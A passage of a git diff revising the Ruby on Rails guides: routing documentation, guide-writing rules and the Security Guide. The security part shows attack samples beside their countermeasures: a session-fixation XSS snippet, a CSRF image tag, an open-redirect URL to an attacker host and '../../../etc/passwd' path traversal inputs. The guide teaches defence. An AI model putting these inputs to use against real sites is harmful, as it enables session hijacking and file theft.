NOTE: The `root` route only routes `GET` requests to the action.
+You can also use root inside namespaces and scopes as well. For example:
+
+```ruby
+namespace :admin do
+ root to: "admin#index"
+end
+
+root to: "home#index"
+```
+
### Unicode character routes
You can specify unicode character routes directly. For example:
@@ -806,7 +839,7 @@ get 'ã“ã‚“ã«ã¡ã¯', to: 'welcome#index'
Customizing Resourceful Routes
------------------------------
-While the default routes and helpers generated by `resources :posts` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
+While the default routes and helpers generated by `resources :articles` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
### Specifying a Controller to Use
@@ -818,24 +851,37 @@ resources :photos, controller: 'images'
will recognize incoming paths beginning with `/photos` but route to the `Images` controller:
-| HTTP Verb | Path | Action | Named Helper |
-| --------- | ---------------- | ------- | -------------------- |
-| GET | /photos | index | photos_path |
-| GET | /photos/new | new | new_photo_path |
-| POST | /photos | create | photos_path |
-| GET | /photos/:id | show | photo_path(:id) |
-| GET | /photos/:id/edit | edit | edit_photo_path(:id) |
-| PATCH/PUT | /photos/:id | update | photo_path(:id) |
-| DELETE | /photos/:id | destroy | photo_path(:id) |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | ---------------- | ----------------- | -------------------- |
+| GET | /photos | images#index | photos_path |
+| GET | /photos/new | images#new | new_photo_path |
+| POST | /photos | images#create | photos_path |
+| GET | /photos/:id | images#show | photo_path(:id) |
+| GET | /photos/:id/edit | images#edit | edit_photo_path(:id) |
+| PATCH/PUT | /photos/:id | images#update | photo_path(:id) |
+| DELETE | /photos/:id | images#destroy | photo_path(:id) |
NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource.
+For namespaced controllers you can use the directory notation. For example:
+
+```ruby
+resources :user_permissions, controller: 'admin/user_permissions'
+```
+
+This will route to the `Admin::UserPermissions` controller.
+
+NOTE: Only the directory notation is supported. Specifying the
+controller with Ruby constant notation (eg. `controller: 'Admin::UserPermissions'`)
+can lead to routing problems and results in
+a warning.
+
### Specifying Constraints
You can use the `:constraints` option to specify a required format on the implicit `id`. For example:
```ruby
-resources :photos, constraints: {id: /[A-Z][A-Z][0-9]+/}
+resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }
```
This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match.
@@ -863,19 +909,19 @@ resources :photos, as: 'images'
will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers.
-| HTTP Verb | Path | Action | Named Helper |
-| --------- | ---------------- | ------- | -------------------- |
-| GET | /photos | index | images_path |
-| GET | /photos/new | new | new_image_path |
-| POST | /photos | create | images_path |
-| GET | /photos/:id | show | image_path(:id) |
-| GET | /photos/:id/edit | edit | edit_image_path(:id) |
-| PATCH/PUT | /photos/:id | update | image_path(:id) |
-| DELETE | /photos/:id | destroy | image_path(:id) |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | ---------------- | ----------------- | -------------------- |
+| GET | /photos | photos#index | images_path |
+| GET | /photos/new | photos#new | new_image_path |
+| POST | /photos | photos#create | images_path |
+| GET | /photos/:id | photos#show | image_path(:id) |
+| GET | /photos/:id/edit | photos#edit | edit_image_path(:id) |
+| PATCH/PUT | /photos/:id | photos#update | image_path(:id) |
+| DELETE | /photos/:id | photos#destroy | image_path(:id) |
### Overriding the `new` and `edit` Segments
-The `:path_names` option lets you override the automatically-generated "new" and "edit" segments in paths:
+The `:path_names` option lets you override the automatically-generated `new` and `edit` segments in paths:
```ruby
resources :photos, path_names: { new: 'make', edit: 'change' }
@@ -910,7 +956,7 @@ end
resources :photos
```
-This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path` etc.
+This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path`, etc.
To prefix a group of route helpers, use `:as` with `scope`:
@@ -930,15 +976,15 @@ You can prefix routes with a named parameter also:
```ruby
scope ':username' do
- resources :posts
+ resources :articles
end
```
-This will provide you with URLs such as `/bob/posts/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.
+This will provide you with URLs such as `/bob/articles/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.
### Restricting the Routes Created
-By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes:
+By default, Rails creates routes for the seven default actions (`index`, `show`, `new`, `create`, `edit`, `update`, and `destroy`) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes:
```ruby
resources :photos, only: [:index, :show]
@@ -968,15 +1014,15 @@ end
Rails now creates routes to the `CategoriesController`.
-| HTTP Verb | Path | Action | Used for |
-| --------- | -------------------------- | ------- | ----------------------- |
-| GET | /kategorien | index | categories_path |
-| GET | /kategorien/neu | new | new_category_path |
-| POST | /kategorien | create | categories_path |
-| GET | /kategorien/:id | show | category_path(:id) |
-| GET | /kategorien/:id/bearbeiten | edit | edit_category_path(:id) |
-| PATCH/PUT | /kategorien/:id | update | category_path(:id) |
-| DELETE | /kategorien/:id | destroy | category_path(:id) |
+| HTTP Verb | Path | Controller#Action | Named Helper |
+| --------- | -------------------------- | ------------------ | ----------------------- |
+| GET | /kategorien | categories#index | categories_path |
+| GET | /kategorien/neu | categories#new | new_category_path |
+| POST | /kategorien | categories#create | categories_path |
+| GET | /kategorien/:id | categories#show | category_path(:id) |
+| GET | /kategorien/:id/bearbeiten | categories#edit | edit_category_path(:id) |
+| PATCH/PUT | /kategorien/:id | categories#update | category_path(:id) |
+| DELETE | /kategorien/:id | categories#destroy | category_path(:id) |
### Overriding the Singular Form
@@ -1000,6 +1046,28 @@ end
This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`.
+### Overriding Named Route Parameters
+
+The `:param` option overrides the default resource identifier `:id` (name of
+the [dynamic segment](routing.html#dynamic-segments) used to generate the
+routes). You can access that segment from your controller using
+`params[<:param>]`.
+
+```ruby
+resources :videos, param: :identifier
+```
+
+```
+ videos GET /videos(.:format) videos#index
+ POST /videos(.:format) videos#create
+ new_videos GET /videos/new(.:format) videos#new
+edit_videos GET /videos/:identifier/edit(.:format) videos#edit
+```
+
+```ruby
+Video.find_by(identifier: params[:identifier])
+```
+
Inspecting and Testing Routes
-----------------------------
@@ -1028,7 +1096,7 @@ edit_user GET /users/:id/edit(.:format) users#edit
You may restrict the listing to the routes that map to a particular controller setting the `CONTROLLER` environment variable:
```bash
-$ CONTROLLER=users rake routes
+$ CONTROLLER=users bin/rake routes
```
TIP: You'll find that the output from `rake routes` is much more readable if you widen your terminal window until the output lines don't wrap.
diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md
index a78711f4b2..c0438f6341 100644
--- a/guides/source/ruby_on_rails_guides_guidelines.md
+++ b/guides/source/ruby_on_rails_guides_guidelines.md
@@ -13,17 +13,17 @@ After reading this guide, you will know:
Markdown
-------
-Guides are written in [GitHub Flavored Markdown](http://github.github.com/github-flavored-markdown/). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), a [cheatsheet](http://daringfireball.net/projects/markdown/basics), and [additional documentation](http://github.github.com/github-flavored-markdown/) on the differences from traditional Markdown.
+Guides are written in [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), as well as a [cheatsheet](http://daringfireball.net/projects/markdown/basics).
Prologue
--------
-Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the [Routing Guide](routing.html).
+Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the [Routing Guide](routing.html).
-Titles
+Headings
------
-The title of every guide uses `h1`; guide sections use `h2`; subsections `h3`; etc. However, the generated HTML output will have the heading tag starting from `<h2>`.
+The title of every guide uses an `h1` heading; guide sections use `h2` headings; subsections use `h3` headings; etc. Note that the generated HTML output will use heading tags starting with `<h2>`.
```
Guide Title
@@ -35,14 +35,14 @@ Section
### Sub Section
```
-Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
+When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be":
```
#### Middleware Stack is an Array
#### When are Objects Saved?
```
-Use the same typography as in regular text:
+Use the same inline formatting as regular text:
```
##### The `:content_type` Option
@@ -51,21 +51,24 @@ Use the same typography as in regular text:
API Documentation Guidelines
----------------------------
-The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:)
+The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the [API Documentation Guidelines](api_documentation_guidelines.html) also apply to the guides:
* [Wording](api_documentation_guidelines.html#wording)
+* [English](api_documentation_guidelines.html#english)
* [Example Code](api_documentation_guidelines.html#example-code)
-* [Filenames](api_documentation_guidelines.html#filenames)
+* [Filenames](api_documentation_guidelines.html#file-names)
* [Fonts](api_documentation_guidelines.html#fonts)
-Those guidelines apply also to guides.
-
HTML Guides
-----------
+Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device.
+
+To install the latest version of Bundler, run `gem install bundler`.
+
### Generation
-To generate all the guides, just `cd` into the **`guides`** directory, run `bundle install` and execute:
+To generate all the guides, just `cd` into the `guides` directory, run `bundle install`, and execute:
```
bundle exec rake guides:generate
diff --git a/guides/source/security.md b/guides/source/security.md
index 532a1ae5cc..b1c5b22338 100644
--- a/guides/source/security.md
+++ b/guides/source/security.md
@@ -1,4 +1,4 @@
-Ruby On Rails Security Guide
+Ruby on Rails Security Guide
============================
This manual describes common security problems in web applications and how to avoid them with Rails.
@@ -9,7 +9,6 @@ After reading this guide, you will know:
* The concept of sessions in Rails, what to put in there and popular attack methods.
* How just visiting a site can be a security problem (with CSRF).
* What you have to pay attention to when working with files or providing an administration interface.
-* The Rails-specific mass assignment problem.
* How to manage users: Logging in and out and attack methods on all layers.
* And the most popular injection attack methods.
@@ -18,7 +17,7 @@ After reading this guide, you will know:
Introduction
------------
-Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
+Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem.
In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
@@ -26,7 +25,7 @@ The Gartner Group however estimates that 75% of attacks are at the web applicati
The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
-In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the [Additional Resources](#additional-resources) chapter). It is done manually because that's how you find the nasty logical security problems.
Sessions
--------
@@ -59,9 +58,9 @@ WARNING: _Stealing a user's session id lets an attacker use the web application
Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
-Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
+Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
-* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
+* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
```ruby
config.force_ssl = true
@@ -69,11 +68,11 @@ Hence, the cookie serves as temporary authentication for the web application. Ev
* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_.
-* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read [more about XSS](#cross-site-scripting-xss) later.
-* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
-The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
### Session Guidelines
@@ -82,7 +81,7 @@ Here are some general guidelines on sessions.
* _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
-* _Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+* _Critical data should not be stored in session_. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
### Session Storage
@@ -94,16 +93,22 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves
* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
-That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
+That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_.
-```ruby
-config.action_dispatch.session = {
- key: '_app_session',
- secret: '0x0dkfj3927dkc7djdh36rkckdfzsg...'
-}
-```
+`secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`, e.g.:
+
+ development:
+ secret_key_base: a75d...
+
+ test:
+ secret_key_base: 492f...
-There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
+ production:
+ secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+
+Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information.
+
+If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret.
### Replay Attacks for CookieStore Sessions
@@ -113,9 +118,9 @@ It works like this:
* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
* The user buys something.
-* His new, lower credit will be stored in the session.
-* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-* The user has his credit back.
+* The new adjusted credit value is stored in the session.
+* The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser.
+* The user has their original credit back.
Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
@@ -123,20 +128,20 @@ The best _solution against it is not to store this kind of data in a session, bu
### Session Fixation
-NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
+NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._
![Session fixation](images/session_fixation.png)
This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
-* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
-* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
+* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).
+* They maintain the session by accessing the web application periodically in order to keep an expiring session alive.
+* The attacker forces the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
* As the new trap session is unused, the web application will require the user to authenticate.
* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-### Session Fixation – Countermeasures
+### Session Fixation - Countermeasures
TIP: _One line of code will protect you from session fixation._
@@ -146,13 +151,13 @@ The most effective countermeasure is to _issue a new session identifier_ and dec
reset_session
```
-If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
+If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
### Session Expiry
-NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
+NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._
One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
@@ -182,18 +187,18 @@ This attack method works by including malicious code or a link in a page that ac
![](images/csrf.png)
-In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
+In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
* `<img src="http://www.webapp.com/project/1/destroy">`
* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
-* Bob doesn't notice the attack — but a few days later he finds out that project number one is gone.
+* Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.
-It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
+It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.
-CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _CSRF is an important security issue_.
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - _CSRF is an important security issue_.
### CSRF Countermeasures
@@ -211,7 +216,7 @@ The HTTP protocol basically provides two main types of requests - GET and POST (
* The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
* The user is _held accountable for the results_ of the interaction.
-If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier.
+If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier.
_POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
@@ -232,26 +237,27 @@ Or the attacker places the code into the onmouseover event handler of an image:
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
```
-There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
+There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since XmlHttpRequest is subject to the browser Same-Origin policy - meaning only your site can initiate the request.
+
+To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created rails applications:
```ruby
-protect_from_forgery secret: "123456789012345678901234567890..."
+protect_from_forgery with: :exception
```
-This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error.
+This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.
It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
```ruby
-def handle_unverified_request
- super
- sign_out_user # Example method that will destroy the user cookies.
+rescue_from ActionController::InvalidAuthenticityToken do |exception|
+ sign_out_user # Example method that will destroy the user cookies
end
```
-The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
+The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present or is incorrect on a non-GET request.
-Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read [more about XSS](#cross-site-scripting-xss) later.
Redirection and Files
---------------------
@@ -260,7 +266,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f
### Redirection
-WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
+WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._
Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
@@ -270,7 +276,7 @@ def legacy
end
```
-This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
+This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:
```
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
@@ -290,9 +296,9 @@ This example is a Base64 encoded JavaScript which displays a simple message box.
NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
-Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwdâ€, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user.
-When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all “../†in a file name and an attacker uses a string such as “....//†- the result will be “../â€. It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:)
+When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master):
```ruby
def sanitize_filename(filename)
@@ -307,7 +313,7 @@ def sanitize_filename(filename)
end
```
-A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
@@ -315,7 +321,7 @@ The solution to this is best to _process media files asynchronously_: Save the m
WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
-The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi†with code in it, which will be executed when someone downloads the file.
+The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.
_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
@@ -329,7 +335,7 @@ Just as you have to filter file names for uploads, you have to do so for downloa
send_file('/var/www/uploads/' + params[:filename])
```
-Simply pass a file name like “../../../etc/passwd†to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
+Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
```ruby
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
